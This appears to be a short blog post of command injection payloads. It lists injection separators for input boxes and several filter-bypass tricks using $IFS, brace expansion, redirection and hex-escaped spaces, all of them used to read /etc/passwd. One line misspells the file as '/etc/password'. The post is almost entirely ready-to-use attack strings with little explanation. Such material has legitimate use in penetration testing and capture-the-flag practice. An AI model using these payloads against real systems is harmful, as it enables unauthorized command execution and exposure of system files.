Bypass filter payload


  • Basic command injection: 
command injection in input box:

1; ls
1 && ls
1 | ls
1 || ls    Only if the first cmd fail 
`ls`
$(ls) 

  • bypass the filter

cat</etc/passwd

$ {cat,/etc/passwd}

cat$IFS/etc/passwd

echo${IFS}"hello"${IFS}&&cat${IFS}/etc/passwd

X=$'cat\x20/etc/password'&&$X

Popular posts from this blog

Phonebook - Hack the box Write up -- Web LDAP injection

wafwaf -- Hack The Box -- Web SQL injection

Cheat sheet for security+